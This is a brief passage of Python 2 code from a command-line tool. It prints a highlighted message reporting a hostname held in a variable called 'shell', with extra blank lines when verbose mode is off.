      print ""
    if not menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()